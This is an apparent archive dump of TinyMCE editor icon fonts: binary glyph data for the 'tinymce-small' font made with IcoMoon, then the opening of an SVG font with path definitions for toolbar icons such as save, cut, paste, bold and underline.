��������095'.'7'./#'737>77'>?%#'573�hq�+�+�qh��hq�+�+�qh���������p�+�qh��hq�+�+�qh��hq�+������@@�!!!!!!!!@������@��@�����@���@@�!!!!!!!!@������������@���@@�!!!!!!!!@������@@��@�����@���@@�!!!!!!!!@���������������@����)w`*@Mc.'70>&'	1&67>'776&'#"&'&67>327"&54632##"&'.'&67>32`"V)?�$0����0$�?)V"9
//�8# ?? #8�//
9�))	�%%%%3)	)"# ?�,H\0��@0\H,�? #8�//
9"V)??)V"9
//�8Y$C
�%%%%�$
C@��',0754&+54&+"#";!7#81381#55!!537#!!�
�&�&�

������������ee����@�
@&&@
�
���@@�@@��ee����@��*9HW#35!3!35!3#";2653;2654&##"&546;2##"&546;2##"&546;2#x8@��@�@��@8**�*�*�**����@

@

<��@@@�@@�*�P**8��**�*�



�



��



�@�@%2!!!!!!32654&#"32654&#"32654&#"�@��@��@���%%%%%%%%%%%%@������%%%%��%%%%��%%%%���%!!!!!!5##3#33#3#3#5�@��@��@��@@�@@��������@�����n�@@�@2<�@@@@@2@@�!!!!!!!!@���@@��@������������@�����@@�!!!!!!!!@���@��@�����������@�����@��?2#".5'4>3">3!2#".5'4>3">3(F44F('F4<h�O7d&
(F44F('F4<h�O7d&
 7J*+J7  7J+T�o@t,*	 7J*+J7  7J+T�o@t,*	p��%>.	6�$"����P��?OlK��S�PP�y�x@��5	5&.>@P����"$lO?̰������S��Kx��y@��0m'.#"7'&4?>32#"&/326?64'#"&/.546?>327'.#"326?>54&/"&'&4762#��))�!!D���D))�!!��D���D))��))��@ ��څ�!]!D
��
�D�!]!��D���D�))��))m @ ��@��0m�����'.#"7'&4?>32#"&/326?64'#"&/.546?>327'.#"326?>54&/"&/&4762#"&=4632##"&546;2#2"/&47>372#"&=46332+"&5463��))�!!D���D))�!!��D���D))��))��� ��



@�

�

�@� ��



���

�

څ�!]!D
��
�D�!]!��D���D�))��))�� � z
�

�
@



�� � z
�

�
��



�	!'!�����������+����k@@�@$1!"3!2654&#818181!8132654&#"��&&&&����8((88((8@&��&&�&�@@� � ����(88((88(	@@�@$).36!"3!2654&##53#53#53!!3#53#53#53!%��&&&&�������������������� @&��&&�&�@�������������������@��:3#52#575!5!'"32>7>54.'.#���%�\�����-VQI  0""0  IQV--VQI  0""0  IQV-���%��@�@��"0  IQV--VQI  0""0  IQV--VQI  0"`���'7'	���@�@@��@��@��@��@N�f
)>S>7'%7.'"&/54632#"32>54.#".54>32#NQ&rE+NE;TEr&Q;EN+B�

n		`P�i<<i�PP�i<<i�P<iN--Ni<<iN--Ni<�3=[[+6B&�[[=3&B6+��I�

�7		<i�PP�i<<i�PP�i<�`-Ni<<iN--Ni<<iN-@��3@e>7>325.'.#"%"32>7.##"&54632#"&'.'>7>732654&'@"M*D�MM�D*M"4'TVY--YVT'4�E�sb&&bs�EE�sb&&bs�E%%%%�3l99l3'FF'

pPPp

'FF'�&?())(?&v%##%v�$C_::_C$$C_::_C$�%%%%�=%%='PppP'=%%=��.+"8137337>101#�;@<�q:�:q��''��> @� ��䤈�
@@�	"',1!!5!!!5!!5!!#533#5!3#5=3#3#553#@���@����������@��������@���@��@��@������������@��������@��!!@����@@��
7!!5###5!''7'77@��ݷ���@���>��>��>��>���@����@��>��>��>��>����%3#575#53#'#	373�����܈���������22@�<2@�R���������3#575#53#'#	373�����܈����������2@�<2@�n������@��4%5>54.#"#'!5.54>32!5#�9^D%Fz�]]�zF%D^9�@@&?-/Qm>>mQ/-?&@@��%GZj9P�i<<i�P9jZG%`��;KX0BuW22WuB0XK;��`@��.;HY2#"&'.5467>35"32>54.#132654&#"!32654&#""&'32>7#K�558855�KK�558855�K]�zFFz�]]�zFFz�]�%%%%%%%%@L�,	-CS//SC-	,�L4855�KK�558855�KK�558LFz�]]�zFFz�]]�zF��%%%%%%%%��3+,K88K,+3@@�@+!!5!";!532654&#!!#"&54632���&&��&&�����@���&�&��&&���@��
'7!7!7!!'!'!'7�������������`�����`��@��������`�����`��������@��"'9>C5#"'35#334&+"35353#54&#26=4&+32653#53#5��&�юR������@@&�&@����&��&�����@@&��	���F���@@���&&�������`&&`&�@&@�����@@��#53533##5!3!53�������������������@��@��@��#).39=A3#3#3#7#3!3#3#3#35353##!!!!35353#'3#����@���@��@��@�����@@��@@�����@��@@@�����@@��@@@�@@�@�@��@��@������@��@�@@@@��!%!3!3!#!#3#73#73#73#73#0��  ��� � ���������������������@��@����@@@@@@@@@���&,2#5267>54&'.#"33>3!3@]�zFFz�]G�225522�GG�2&2	���Nv�U����Fz�]]�zF`522�GG�22552&_4�Q�g;���@�@@ ->54.+!2>54&''46;2+5#"&=32#q$+#=R.� .R=#P?�C -- s�s� -- �S/+L8!�!8L+Bi�8((8��0�8((8�@@@#3!53#5!@����@���@@��@@�@�@@!7!!5#"&'.5#32>5#�@���=""=�-Ni<<iN-��@@���--���5]F((F]5�@@�@>!.#"&546323.'.#"!!#"&'#3267>54&'35���%^3CbbC8Yq+#&a55a&)--)��+9bC8Yq+#&a55a&)-��A-,A/#&ET-.T@
6",A/#&ET-3@�@@@"333335!�.R=##=R.�@���@@#=R..R=#�������@@�@"333335!7'�.R=##=R.�@���@����@#=R..R=#����������`@�@"333335!@.R=##=R.�@���@���@#=R..R=#�����������@�
"#5'!!!'#5#5%!3!!5333@�����@�ee��ee����@@�@����@��@���[eeee���@�������@�#'+/37;3#3#3#3#'3#3#'3#3#3#3#3#'3#'3#'3#'3#@@�@@@@@@�@@@@�@@�@@@@@@@@�@@�@@�@@�@@�@@@@@@@�@@@@@@@@@@@@@@@@@@@@@@��6C!'!!3!!.54>32'>54&#"3267?6&'%"&54632#��` ��@�xX ��@d'B0+Jc88cJ+#�
pPPppP2o3��3II33II3@@�����3BQ,8cJ++Jc8 �o2PppPPp
�3VI33II33I@��&+0@54&+54&+"#";!#81381#55!!!!373#35#5335�
�&�&�

�@�����������@���  @0�0@  @�
@&&@
�
�@@@�@@����@��@�@@�@��� `%KXk546;5#"+32;5#"&=4&'>5!54&+532;#"+5326=467.5'#"&54632"0>54&#�. Kk.  .kK .p. Kk.  .kK .�=++==++=h+=.<5#ANA=+Bh .hkKh .h. hKkh. h&CC&h .hkKh .h. hKkh. h&CC&+==++==+�=+*;>%ZX+=�C�_<��0=��0=���������9@�@@@@�@@��@@@p@@@@@@`N@�@@@@@@@@@@@����@�@`@@@��
l�0Rt�0~�@x��"Bb B`��Nn�z��		6	`	�	�
P
�
�,P��B���
0
R
|
�
�:���9��
�
H
�'
o
�	
	�	U	�	2	|	
4�tinymce-smalltinymce-smallVersion 1.0Version 1.0tinymce-smalltinymce-smalltinymce-smalltinymce-smallRegularRegulartinymce-smalltinymce-smallFont generated by IcoMoon.Font generated by IcoMoon.tinymce.svg000064400000132445151024320400006735 0ustar00<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>Generated by IcoMoon</metadata>
<defs>
<font id="tinymce" horiz-adv-x="1024">
<font-face units-per-em="1024" ascent="960" descent="-64" />
<missing-glyph horiz-adv-x="1024" />
<glyph unicode="&#x20;" horiz-adv-x="512" d="" />
<glyph unicode="&#xe000;" glyph-name="save" d="M896 960h-896v-1024h1024v896l-128 128zM512 832h128v-256h-128v256zM896 64h-768v768h64v-320h576v320h74.978l53.022-53.018v-714.982z" />
<glyph unicode="&#xe001;" glyph-name="newdocument" d="M903.432 760.57l-142.864 142.862c-31.112 31.112-92.568 56.568-136.568 56.568h-480c-44 0-80-36-80-80v-864c0-44 36-80 80-80h736c44 0 80 36 80 80v608c0 44-25.456 105.458-56.568 136.57zM858.178 715.314c3.13-3.13 6.25-6.974 9.28-11.314h-163.458v163.456c4.34-3.030 8.184-6.15 11.314-9.28l142.864-142.862zM896 16c0-8.672-7.328-16-16-16h-736c-8.672 0-16 7.328-16 16v864c0 8.672 7.328 16 16 16h480c4.832 0 10.254-0.61 16-1.704v-254.296h254.296c1.094-5.746 1.704-11.166 1.704-16v-608z" />
<glyph unicode="&#xe002;" glyph-name="fullpage" d="M1024 367.542v160.916l-159.144 15.914c-8.186 30.042-20.088 58.548-35.21 84.98l104.596 127.838-113.052 113.050-127.836-104.596c-26.434 15.124-54.942 27.026-84.982 35.208l-15.914 159.148h-160.916l-15.914-159.146c-30.042-8.186-58.548-20.086-84.98-35.208l-127.838 104.594-113.050-113.050 104.596-127.836c-15.124-26.432-27.026-54.94-35.21-84.98l-159.146-15.916v-160.916l159.146-15.914c8.186-30.042 20.086-58.548 35.21-84.982l-104.596-127.836 113.048-113.048 127.838 104.596c26.432-15.124 54.94-27.028 84.98-35.21l15.916-159.148h160.916l15.914 159.144c30.042 8.186 58.548 20.088 84.982 35.21l127.836-104.596 113.048 113.048-104.596 127.836c15.124 26.434 27.028 54.942 35.21 84.98l159.148 15.92zM704 384l-128-128h-128l-128 128v128l128 128h128l128-128v-128z" />
<glyph unicode="&#xe003;" glyph-name="alignleft" d="M0 896h1024v-128h-1024zM0 704h640v-128h-640zM0 320h640v-128h-640zM0 512h1024v-128h-1024zM0 128h1024v-128h-1024z" />
<glyph unicode="&#xe004;" glyph-name="aligncenter" d="M0 896h1024v-128h-1024zM192 704h640v-128h-640zM192 320h640v-128h-640zM0 512h1024v-128h-1024zM0 128h1024v-128h-1024z" />
<glyph unicode="&#xe005;" glyph-name="alignright" d="M0 896h1024v-128h-1024zM384 704h640v-128h-640zM384 320h640v-128h-640zM0 512h1024v-128h-1024zM0 128h1024v-128h-1024z" />
<glyph unicode="&#xe006;" glyph-name="alignjustify" d="M0 896h1024v-128h-1024zM0 704h1024v-128h-1024zM0 512h1024v-128h-1024zM0 320h1024v-128h-1024zM0 128h1024v-128h-1024z" />
<glyph unicode="&#xe007;" glyph-name="cut" d="M890.774 250.846c-45.654 45.556-103.728 69.072-157.946 69.072h-29.112l-63.904 64.008 255.62 256.038c63.904 64.010 63.904 192.028 0 256.038l-383.43-384.056-383.432 384.054c-63.904-64.008-63.904-192.028 0-256.038l255.622-256.034-63.906-64.008h-29.114c-54.22 0-112.292-23.518-157.948-69.076-81.622-81.442-92.65-202.484-24.63-270.35 29.97-29.902 70.288-44.494 112.996-44.494 54.216 0 112.29 23.514 157.946 69.072 53.584 53.464 76.742 124 67.084 185.348l65.384 65.488 65.376-65.488c-9.656-61.348 13.506-131.882 67.084-185.348 45.662-45.558 103.732-69.072 157.948-69.072 42.708 0 83.024 14.592 112.994 44.496 68.020 67.866 56.988 188.908-24.632 270.35zM353.024 114.462c-7.698-17.882-19.010-34.346-33.626-48.926-14.636-14.604-31.172-25.918-49.148-33.624-16.132-6.916-32.96-10.568-48.662-10.568-15.146 0-36.612 3.402-52.862 19.612-16.136 16.104-19.52 37.318-19.52 52.288 0 15.542 3.642 32.21 10.526 48.212 7.7 17.884 19.014 34.346 33.626 48.926 14.634 14.606 31.172 25.914 49.15 33.624 16.134 6.914 32.96 10.568 48.664 10.568 15.146 0 36.612-3.4 52.858-19.614 16.134-16.098 19.522-37.316 19.522-52.284 0.002-15.542-3.638-32.216-10.528-48.214zM512.004 293.404c-49.914 0-90.376 40.532-90.376 90.526 0 49.992 40.462 90.52 90.376 90.52s90.372-40.528 90.372-90.52c0-49.998-40.46-90.526-90.372-90.526zM855.272 40.958c-16.248-16.208-37.712-19.612-52.86-19.612-15.704 0-32.53 3.652-48.666 10.568-17.972 7.706-34.508 19.020-49.142 33.624-14.614 14.58-25.926 31.042-33.626 48.926-6.886 15.998-10.526 32.672-10.526 48.212 0 14.966 3.384 36.188 19.52 52.286 16.246 16.208 37.712 19.614 52.86 19.614 15.7 0 32.53-3.654 48.66-10.568 17.978-7.708 34.516-19.018 49.15-33.624 14.61-14.58 25.924-31.042 33.626-48.926 6.884-15.998 10.526-32.67 10.526-48.212-0.002-14.97-3.39-36.186-19.522-52.288z" />
<glyph unicode="&#xe008;" glyph-name="paste" d="M832 640v160c0 17.6-14.4 32-32 32h-224v64c0 35.2-28.8 64-64 64h-128c-35.204 0-64-28.8-64-64v-64h-224c-17.602 0-32-14.4-32-32v-640c0-17.6 14.398-32 32-32h288v-192h448l192 192v512h-192zM384 895.886c0.034 0.038 0.072 0.078 0.114 0.114h127.768c0.042-0.036 0.082-0.076 0.118-0.114v-63.886h-128v63.886zM192 704v64h512v-64h-512zM832 26.51v101.49h101.49l-101.49-101.49zM960 192h-192v-192h-320v576h512v-384z" />
<glyph unicode="&#xe009;" glyph-name="searchreplace" d="M64 960h384v-64h-384zM576 960h384v-64h-384zM952 640h-56v256h-256v-256h-256v256h-256v-256h-56c-39.6 0-72-32.4-72-72v-560c0-39.6 32.4-72 72-72h304c39.6 0 72 32.4 72 72v376h128v-376c0-39.6 32.4-72 72-72h304c39.6 0 72 32.4 72 72v560c0 39.6-32.4 72-72 72zM348 0h-248c-19.8 0-36 14.4-36 32s16.2 32 36 32h248c19.8 0 36-14.4 36-32s-16.2-32-36-32zM544 448h-64c-17.6 0-32 14.4-32 32s14.4 32 32 32h64c17.6 0 32-14.4 32-32s-14.4-32-32-32zM924 0h-248c-19.8 0-36 14.4-36 32s16.2 32 36 32h248c19.8 0 36-14.4 36-32s-16.2-32-36-32z" />
<glyph unicode="&#xe00a;" glyph-name="bullist" d="M384 896h640v-128h-640v128zM384 512h640v-128h-640v128zM384 128h640v-128h-640v128zM0 832c0 70.692 57.308 128 128 128s128-57.308 128-128c0-70.692-57.308-128-128-128s-128 57.308-128 128zM0 448c0 70.692 57.308 128 128 128s128-57.308 128-128c0-70.692-57.308-128-128-128s-128 57.308-128 128zM0 64c0 70.692 57.308 128 128 128s128-57.308 128-128c0-70.692-57.308-128-128-128s-128 57.308-128 128z" />
<glyph unicode="&#xe00b;" glyph-name="numlist" d="M384 128h640v-128h-640zM384 512h640v-128h-640zM384 896h640v-128h-640zM192 960v-256h-64v192h-64v64zM128 434v-50h128v-64h-192v146l128 60v50h-128v64h192v-146zM256 256v-320h-192v64h128v64h-128v64h128v64h-128v64z" />
<glyph unicode="&#xe00c;" glyph-name="indent" d="M0 896h1024v-128h-1024zM384 704h640v-128h-640zM384 512h640v-128h-640zM384 320h640v-128h-640zM0 128h1024v-128h-1024zM0 256v384l256-192z" />
<glyph unicode="&#xe00d;" glyph-name="outdent" d="M0 896h1024v-128h-1024zM384 704h640v-128h-640zM384 512h640v-128h-640zM384 320h640v-128h-640zM0 128h1024v-128h-1024zM256 640v-384l-256 192z" />
<glyph unicode="&#xe00e;" glyph-name="blockquote" d="M225 512c123.712 0 224-100.29 224-224 0-123.712-100.288-224-224-224s-224 100.288-224 224l-1 32c0 247.424 200.576 448 448 448v-128c-85.474 0-165.834-33.286-226.274-93.726-11.634-11.636-22.252-24.016-31.83-37.020 11.438 1.8 23.16 2.746 35.104 2.746zM801 512c123.71 0 224-100.29 224-224 0-123.712-100.29-224-224-224s-224 100.288-224 224l-1 32c0 247.424 200.576 448 448 448v-128c-85.474 0-165.834-33.286-226.274-93.726-11.636-11.636-22.254-24.016-31.832-37.020 11.44 1.8 23.16 2.746 35.106 2.746z" />
<glyph unicode="&#xe00f;" glyph-name="undo" d="M761.862-64c113.726 206.032 132.888 520.306-313.862 509.824v-253.824l-384 384 384 384v-248.372c534.962 13.942 594.57-472.214 313.862-775.628z" />
<glyph unicode="&#xe010;" glyph-name="redo" d="M576 711.628v248.372l384-384-384-384v253.824c-446.75 10.482-427.588-303.792-313.86-509.824-280.712 303.414-221.1 789.57 313.86 775.628z" />
<glyph unicode="&#xe011;" glyph-name="link" d="M320 256c17.6-17.6 47.274-16.726 65.942 1.942l316.118 316.116c18.668 18.668 19.54 48.342 1.94 65.942s-47.274 16.726-65.942-1.942l-316.116-316.116c-18.668-18.668-19.542-48.342-1.942-65.942zM476.888 284.888c4.56-9.050 6.99-19.16 6.99-29.696 0-17.616-6.744-34.060-18.992-46.308l-163.382-163.382c-12.248-12.248-28.694-18.992-46.308-18.992s-34.060 6.744-46.308 18.992l-99.382 99.382c-12.248 12.248-18.992 28.694-18.992 46.308s6.744 34.060 18.992 46.308l163.382 163.382c12.248 12.248 28.694 18.994 46.308 18.994 10.536 0 20.644-2.43 29.696-6.99l65.338 65.338c-27.87 21.41-61.44 32.16-95.034 32.16-39.986 0-79.972-15.166-110.308-45.502l-163.382-163.382c-60.67-60.67-60.67-159.948 0-220.618l99.382-99.382c30.334-30.332 70.32-45.5 110.306-45.5 39.988 0 79.974 15.168 110.308 45.502l163.382 163.382c55.82 55.82 60.238 144.298 13.344 205.344l-65.34-65.34zM978.498 815.116l-99.382 99.382c-30.334 30.336-70.32 45.502-110.308 45.502-39.986 0-79.972-15.166-110.308-45.502l-163.382-163.382c-55.82-55.82-60.238-144.298-13.342-205.342l65.338 65.34c-4.558 9.050-6.988 19.16-6.988 29.694 0 17.616 6.744 34.060 18.992 46.308l163.382 163.382c12.248 12.248 28.694 18.994 46.308 18.994s34.060-6.746 46.308-18.994l99.382-99.382c12.248-12.248 18.992-28.694 18.992-46.308s-6.744-34.060-18.992-46.308l-163.382-163.382c-12.248-12.248-28.694-18.992-46.308-18.992-10.536 0-20.644 2.43-29.696 6.99l-65.338-65.338c27.872-21.41 61.44-32.16 95.034-32.16 39.988 0 79.974 15.168 110.308 45.502l163.382 163.382c60.67 60.666 60.67 159.944 0 220.614z" />
<glyph unicode="&#xe012;" glyph-name="unlink" d="M476.888 284.886c4.56-9.048 6.99-19.158 6.99-29.696 0-17.616-6.744-34.058-18.992-46.308l-163.38-163.38c-12.248-12.248-28.696-18.992-46.308-18.992s-34.060 6.744-46.308 18.992l-99.38 99.38c-12.248 12.25-18.992 28.696-18.992 46.308s6.744 34.060 18.992 46.308l163.38 163.382c12.248 12.246 28.696 18.992 46.308 18.992 10.538 0 20.644-2.43 29.696-6.988l65.338 65.336c-27.87 21.41-61.44 32.16-95.034 32.16-39.986 0-79.972-15.166-110.308-45.502l-163.38-163.382c-60.67-60.67-60.67-159.95 0-220.618l99.38-99.382c30.334-30.332 70.32-45.5 110.306-45.5 39.988 0 79.974 15.168 110.308 45.502l163.38 163.38c55.82 55.82 60.238 144.298 13.344 205.346l-65.34-65.338zM978.496 815.116l-99.38 99.382c-30.334 30.336-70.32 45.502-110.308 45.502-39.986 0-79.97-15.166-110.306-45.502l-163.382-163.382c-55.82-55.82-60.238-144.298-13.342-205.342l65.338 65.34c-4.558 9.050-6.988 19.16-6.988 29.694 0 17.616 6.744 34.060 18.992 46.308l163.382 163.382c12.246 12.248 28.694 18.994 46.306 18.994 17.616 0 34.060-6.746 46.308-18.994l99.38-99.382c12.248-12.248 18.992-28.694 18.992-46.308s-6.744-34.060-18.992-46.308l-163.38-163.382c-12.248-12.248-28.694-18.992-46.308-18.992-10.536 0-20.644 2.43-29.696 6.99l-65.338-65.338c27.872-21.41 61.44-32.16 95.034-32.16 39.988 0 79.974 15.168 110.308 45.504l163.38 163.38c60.672 60.666 60.672 159.944 0 220.614zM233.368 681.376l-191.994 191.994 45.256 45.256 191.994-191.994zM384 960h64v-192h-64zM0 576h192v-64h-192zM790.632 214.624l191.996-191.996-45.256-45.256-191.996 191.996zM576 128h64v-192h-64zM832 384h192v-64h-192z" />
<glyph unicode="&#xe013;" glyph-name="anchor" d="M192 960v-1024l320 320 320-320v1024h-640zM768 90.51l-256 256-256-256v805.49h512v-805.49z" />
<glyph unicode="&#xe014;" glyph-name="image" d="M0 832v-832h1024v832h-1024zM960 64h-896v704h896v-704zM704 608c0 53.019 42.981 96 96 96s96-42.981 96-96c0-53.019-42.981-96-96-96s-96 42.981-96 96zM896 128h-768l192 512 256-320 128 96z" />
<glyph unicode="&#xe015;" glyph-name="media" d="M0 832v-768h1024v768h-1024zM192 128h-128v128h128v-128zM192 384h-128v128h128v-128zM192 640h-128v128h128v-128zM768 128h-512v640h512v-640zM960 128h-128v128h128v-128zM960 384h-128v128h128v-128zM960 640h-128v128h128v-128zM384 640v-384l256 192z" />
<glyph unicode="&#xe016;" glyph-name="help" d="M448 256h128v-128h-128zM704 704c35.346 0 64-28.654 64-64v-192l-192-128h-128v64l192 128v64h-320v128h384zM512 864c-111.118 0-215.584-43.272-294.156-121.844s-121.844-183.038-121.844-294.156c0-111.118 43.272-215.584 121.844-294.156s183.038-121.844 294.156-121.844c111.118 0 215.584 43.272 294.156 121.844s121.844 183.038 121.844 294.156c0 111.118-43.272 215.584-121.844 294.156s-183.038 121.844-294.156 121.844zM512 960v0c282.77 0 512-229.23 512-512s-229.23-512-512-512c-282.77 0-512 229.23-512 512s229.23 512 512 512z" />
<glyph unicode="&#xe017;" glyph-name="code" d="M320 704l-256-256 256-256h128l-256 256 256 256zM704 704h-128l256-256-256-256h128l256 256z" />
<glyph unicode="&#xe018;" glyph-name="inserttime" d="M512 768c-212.076 0-384-171.922-384-384s171.922-384 384-384c212.074 0 384 171.922 384 384s-171.926 384-384 384zM715.644 180.354c-54.392-54.396-126.716-84.354-203.644-84.354s-149.25 29.958-203.646 84.354c-54.396 54.394-84.354 126.718-84.354 203.646s29.958 149.25 84.354 203.646c54.396 54.396 126.718 84.354 203.646 84.354s149.252-29.958 203.642-84.354c54.402-54.396 84.358-126.718 84.358-203.646s-29.958-149.252-84.356-203.646zM325.93 756.138l-42.94 85.878c-98.874-49.536-179.47-130.132-229.006-229.008l85.876-42.94c40.248 80.336 105.732 145.822 186.070 186.070zM884.134 570.070l85.878 42.938c-49.532 98.876-130.126 179.472-229.004 229.008l-42.944-85.878c80.338-40.248 145.824-105.732 186.070-186.068zM512 576h-64v-192c0-10.11 4.7-19.11 12.022-24.972l-0.012-0.016 160-128 39.976 49.976-147.986 118.39v176.622z" />
<glyph unicode="&#xe019;" glyph-name="preview" d="M512 640c-209.368 0-395.244-100.556-512-256 116.756-155.446 302.632-256 512-256s395.244 100.554 512 256c-116.756 155.444-302.632 256-512 256zM448 512c35.346 0 64-28.654 64-64s-28.654-64-64-64-64 28.654-64 64 28.654 64 64 64zM773.616 254.704c-39.648-20.258-81.652-35.862-124.846-46.376-44.488-10.836-90.502-16.328-136.77-16.328-46.266 0-92.282 5.492-136.768 16.324-43.194 10.518-85.198 26.122-124.846 46.376-63.020 32.202-120.222 76.41-167.64 129.298 47.418 52.888 104.62 97.1 167.64 129.298 32.336 16.522 66.242 29.946 101.082 40.040-19.888-30.242-31.468-66.434-31.468-105.336 0-106.040 85.962-192 192-192s192 85.96 192 192c0 38.902-11.582 75.094-31.466 105.34 34.838-10.096 68.744-23.52 101.082-40.042 63.022-32.198 120.218-76.408 167.638-129.298-47.42-52.886-104.618-97.1-167.638-129.296zM860.918 716.278c-108.72 55.554-226.112 83.722-348.918 83.722s-240.198-28.168-348.918-83.722c-58.772-30.032-113.732-67.904-163.082-112.076v-109.206c55.338 58.566 120.694 107.754 192.194 144.29 99.62 50.904 207.218 76.714 319.806 76.714s220.186-25.81 319.804-76.716c71.502-36.536 136.858-85.724 192.196-144.29v109.206c-49.35 44.174-104.308 82.046-163.082 112.078z" />
<glyph unicode="&#xe01a;" glyph-name="forecolor" d="M322.018 128l57.6 192h264.764l57.6-192h113.632l-191.996 640h-223.236l-192-640h113.636zM475.618 640h72.764l57.6-192h-187.964l57.6 192z" />
<glyph unicode="&#xe01b;" glyph-name="table" d="M0 896v-896h1024v896h-1024zM384 320v192h256v-192h-256zM640 256v-192h-256v192h256zM640 768v-192h-256v192h256zM320 768v-192h-256v192h256zM64 512h256v-192h-256v192zM704 512h256v-192h-256v192zM704 576v192h256v-192h-256zM64 256h256v-192h-256v192zM704 64v192h256v-192h-256z" />
<glyph unicode="&#xe01c;" glyph-name="hr" d="M0 512h1024v-128h-1024z" />
<glyph unicode="&#xe01d;" glyph-name="removeformat" d="M0 64h576v-128h-576zM192 960h704v-128h-704zM277.388 128l204.688 784.164 123.85-32.328-196.25-751.836zM929.774-64l-129.774 129.774-129.774-129.774-62.226 62.226 129.774 129.774-129.774 129.774 62.226 62.226 129.774-129.774 129.774 129.774 62.226-62.226-129.774-129.774 129.774-129.774z" />
<glyph unicode="&#xe01e;" glyph-name="sub" d="M768 50v-50h128v-64h-192v146l128 60v50h-128v64h192v-146zM676 704h-136l-188-188-188 188h-136l256-256-256-256h136l188 188 188-188h136l-256 256z" />
<glyph unicode="&#xe01f;" glyph-name="sup" d="M768 754v-50h128v-64h-192v146l128 60v50h-128v64h192v-146zM676 704h-136l-188-188-188 188h-136l256-256-256-256h136l188 188 188-188h136l-256 256z" />
<glyph unicode="&#xe020;" glyph-name="charmap" d="M704 64h256l64 128v-256h-384v214.214c131.112 56.484 224 197.162 224 361.786 0 214.432-157.598 382.266-352 382.266-194.406 0-352-167.832-352-382.266 0-164.624 92.886-305.302 224-361.786v-214.214h-384v256l64-128h256v32.59c-187.63 66.46-320 227.402-320 415.41 0 247.424 229.23 448 512 448s512-200.576 512-448c0-188.008-132.37-348.95-320-415.41v-32.59z" />
<glyph unicode="&#xe021;" glyph-name="emoticons" d="M512 960c-282.77 0-512-229.228-512-512 0-282.77 229.228-512 512-512 282.77 0 512 229.23 512 512 0 282.772-229.23 512-512 512zM512 16c-238.586 0-432 193.412-432 432 0 238.586 193.414 432 432 432 238.59 0 432-193.414 432-432 0-238.588-193.41-432-432-432zM384 640c0-35.346-28.654-64-64-64s-64 28.654-64 64 28.654 64 64 64 64-28.654 64-64zM768 640c0-35.346-28.652-64-64-64s-64 28.654-64 64 28.652 64 64 64 64-28.654 64-64zM512 308c141.074 0 262.688 57.532 318.462 123.192-20.872-171.22-156.288-303.192-318.462-303.192-162.118 0-297.498 132.026-318.444 303.168 55.786-65.646 177.386-123.168 318.444-123.168z" />
<glyph unicode="&#xe022;" glyph-name="print" d="M256 896h512v-128h-512zM960 704h-896c-35.2 0-64-28.8-64-64v-320c0-35.2 28.796-64 64-64h192v-256h512v256h192c35.2 0 64 28.8 64 64v320c0 35.2-28.8 64-64 64zM704 64h-384v320h384v-320zM974.4 608c0-25.626-20.774-46.4-46.398-46.4-25.626 0-46.402 20.774-46.402 46.4s20.776 46.4 46.402 46.4c25.626 0 46.398-20.774 46.398-46.4z" />
<glyph unicode="&#xe023;" glyph-name="fullscreen" d="M1024 960v-384l-138.26 138.26-212-212-107.48 107.48 212 212-138.26 138.26zM245.74 821.74l212-212-107.48-107.48-212 212-138.26-138.26v384h384zM885.74 181.74l138.26 138.26v-384h-384l138.26 138.26-212 212 107.48 107.48zM457.74 286.26l-212-212 138.26-138.26h-384v384l138.26-138.26 212 212z" />
<glyph unicode="&#xe024;" glyph-name="spellchecker" d="M128 704h128v-192h64v384c0 35.2-28.8 64-64 64h-128c-35.2 0-64-28.8-64-64v-384h64v192zM128 896h128v-128h-128v128zM960 896v64h-192c-35.202 0-64-28.8-64-64v-320c0-35.2 28.798-64 64-64h192v64h-192v320h192zM640 800v96c0 35.2-28.8 64-64 64h-192v-448h192c35.2 0 64 28.8 64 64v96c0 35.2-8.8 64-44 64 35.2 0 44 28.8 44 64zM576 576h-128v128h128v-128zM576 768h-128v128h128v-128zM832 384l-416-448-224 288 82 70 142-148 352 302z" />
<glyph unicode="&#xe025;" glyph-name="nonbreaking" d="M448 384h-192v128h192v192h128v-192h192v-128h-192v-192h-128zM1024 320v-384h-1024v384h128v-256h768v256z" />
<glyph unicode="&#xe026;" glyph-name="template" d="M384 768h128v-64h-128zM576 768h128v-64h-128zM896 768v-256h-192v64h128v128h-64v64zM320 576h128v-64h-128zM512 576h128v-64h-128zM192 704v-128h64v-64h-128v256h192v-64zM384 384h128v-64h-128zM576 384h128v-64h-128zM896 384v-256h-192v64h128v128h-64v64zM320 192h128v-64h-128zM512 192h128v-64h-128zM192 320v-128h64v-64h-128v256h192v-64zM960 896h-896v-896h896v896zM1024 960v0-1024h-1024v1024h1024z" />
<glyph unicode="&#xe027;" glyph-name="pagebreak" d="M0 448h128v-64h-128zM192 448h192v-64h-192zM448 448h128v-64h-128zM640 448h192v-64h-192zM896 448h128v-64h-128zM880 960l16-448h-768l16 448h32l16-384h640l16 384zM144-64l-16 384h768l-16-384h-32l-16 320h-640l-16-320z" />
<glyph unicode="&#xe028;" glyph-name="restoredraft" d="M576 896c247.424 0 448-200.576 448-448s-200.576-448-448-448v96c94.024 0 182.418 36.614 248.902 103.098s103.098 154.878 103.098 248.902c0 94.022-36.614 182.418-103.098 248.902s-154.878 103.098-248.902 103.098c-94.022 0-182.418-36.614-248.902-103.098-51.14-51.138-84.582-115.246-97.306-184.902h186.208l-224-256-224 256h164.57c31.060 217.102 217.738 384 443.43 384zM768 512v-128h-256v320h128v-192z" />
<glyph unicode="&#xe02a;" glyph-name="bold" d="M707.88 475.348c37.498 44.542 60.12 102.008 60.12 164.652 0 141.16-114.842 256-256 256h-320v-896h384c141.158 0 256 114.842 256 256 0 92.956-49.798 174.496-124.12 219.348zM384 768h101.5c55.968 0 101.5-57.42 101.5-128s-45.532-128-101.5-128h-101.5v256zM543 128h-159v256h159c58.45 0 106-57.42 106-128s-47.55-128-106-128z" />
<glyph unicode="&#xe02b;" glyph-name="italic" d="M896 896v-64h-128l-320-768h128v-64h-448v64h128l320 768h-128v64z" />
<glyph unicode="&#xe02c;" glyph-name="underline" d="M704 896h128v-416c0-159.058-143.268-288-320-288-176.73 0-320 128.942-320 288v416h128v-416c0-40.166 18.238-78.704 51.354-108.506 36.896-33.204 86.846-51.494 140.646-51.494s103.75 18.29 140.646 51.494c33.116 29.802 51.354 68.34 51.354 108.506v416zM192 128h640v-128h-640z" />
